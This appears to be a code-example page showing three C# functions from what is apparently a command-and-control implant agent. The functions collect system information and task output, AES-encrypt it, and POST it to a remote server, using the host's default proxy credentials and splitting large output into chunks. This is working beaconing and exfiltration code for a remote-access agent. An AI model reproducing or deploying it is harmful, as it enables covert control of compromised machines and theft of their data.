コード例 #1
0
        //AES
        public static void SendOutputHttp(string taskinstance, string output, CookiedWebClient wc, byte[] aeskey, byte[] aesiv, string rpaddress, string param, string agentid, string agentpivot = null)
        {
            ResponseMsg respmsg = new ResponseMsg
            {
                TaskInstanceid = taskinstance,
                SystemInfo     = GetSystemInfo(),
                Chunked        = false,
                Agentid        = agentid,
                Number         = 1,
                Data           = output
            };

            if (agentpivot != null)
            {
                respmsg.AgentPivot = agentpivot;
            }


            string respmsgjson = new JavaScriptSerializer().Serialize(respmsg);
            //string respmsgjson = JsonConvert.SerializeObject(respmsg, Formatting.Indented);
            var response = Crypto.Aes.EncryptAesMessage(respmsgjson, aeskey, aesiv);

            string post = String.Format("{0}={1}", param, Convert.ToBase64String(response));

            wc.UseDefaultCredentials = true;
            wc.Proxy             = WebRequest.DefaultWebProxy;
            wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;

            string resp = wc.UploadString(rpaddress, post);
        }
コード例 #2
0
        //AES
        public static void SendCheckinHttp(string agentid, byte[] aeskey, byte[] aesiv, string rpaddress, string param, CookiedWebClient wc)
        {
            //Collect system info
            SystemInfo sinfo = GetSystemInfo();
            CheckInMsg msg   = new CheckInMsg();

            msg.agentid    = agentid;
            msg.systeminfo = sinfo;

            string checkinmsg = new JavaScriptSerializer().Serialize(msg);
            //string checkinmsg = JsonConvert.SerializeObject(msg, Formatting.Indented);
            var checkinmsgenc = Crypto.Aes.EncryptAesMessage(checkinmsg, aeskey, aesiv);

            string post = String.Format("{0}={1}", param, Convert.ToBase64String(checkinmsgenc));

            wc.UseDefaultCredentials = true;
            wc.Proxy             = WebRequest.DefaultWebProxy;
            wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;

            string resp     = wc.UploadString(rpaddress, post);
            string respjson = Crypto.Aes.DecryptAesMessage(Convert.FromBase64String(resp), aeskey, aesiv);
        }
コード例 #3
0
        //AES
        public static void SendOutputHttp(string taskinstance, string output, CookiedWebClient wc, byte[] aeskey, byte[] aesiv, string rpaddress, string param, string agentid, string agentpivot = null)
        {
            wc.UseDefaultCredentials = true;
            wc.Proxy             = WebRequest.DefaultWebProxy;
            wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;

            ResponseMsg respmsg = new ResponseMsg
            {
                TaskInstanceid = taskinstance,
                SystemInfo     = GetSystemInfo(),
                Chunked        = false,
                Agentid        = agentid,
                Number         = 1
            };

            int chunksize = 1024000;

            //Response need to be splitted
            if (output.Length > chunksize)
            {
                respmsg.Chunked = true;
            }

            //Chunk number
            int chunknum = output.Length / chunksize;

            if (output.Length % chunksize != 0)
            {
                chunknum++;
            }

            respmsg.Number = chunknum;

            int iter = 0;

            do
            {
                int remaining = output.Length - (iter * chunksize);
                if (remaining > chunksize)
                {
                    remaining = chunksize;
                }

                respmsg.Data = output.Substring(iter * chunksize, remaining);

                string respmsgjson = new JavaScriptSerializer().Serialize(respmsg);
                //string respmsgjson = JsonConvert.SerializeObject(respmsg, Formatting.Indented);
                var response = Crypto.Aes.EncryptAesMessage(respmsgjson, aeskey, aesiv);

                string post = String.Format("{0}={1}", param, Convert.ToBase64String(response));



                string resp = wc.UploadString(rpaddress, post);

                iter++;
            }while (chunknum > iter);

            if (respmsg.Chunked)
            {
                respmsg.Data   = "";
                respmsg.Number = 0;

                string respmsgjson = new JavaScriptSerializer().Serialize(respmsg);
                var    response    = Crypto.Aes.EncryptAesMessage(respmsgjson, aeskey, aesiv);

                string post = String.Format("{0}={1}", param, Convert.ToBase64String(response));
                string resp = wc.UploadString(rpaddress, post);
            }
        }